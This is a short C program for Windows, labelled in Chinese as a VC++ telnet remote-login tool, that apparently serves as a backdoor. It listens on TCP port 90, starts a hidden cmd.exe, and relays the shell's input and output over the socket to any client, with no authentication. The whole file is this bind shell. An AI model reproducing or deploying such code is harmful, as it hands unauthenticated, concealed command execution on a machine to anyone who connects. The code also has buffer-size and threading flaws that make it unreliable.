vc++telnet远程登录

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")

#define PORT 90

SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;

DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);

varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,recv_buff,1024,0);
WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);
}
return 0;
}

DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;

CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0);

varB = 1;
while (true)
{
ReadFile(hReadFile,send_buff,25000,&len,NULL);

send(ClientSocket,send_buff,len,0);
}
return 0;
}

void Enter(void)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;

DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;

WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 5);

varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

do{
Sleep(250);
}while((varA || varB) == 0);

GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

GetVersionEx(&osvi);
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);

if(osvi.dwPlatformId == 2)
{
strcat(szAPP,"//cmd.exe");
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo,&processinfo) == 0)
{

return;
}
}
else
{
strcat(szAPP,"//command.exe");
CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);
}

while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
}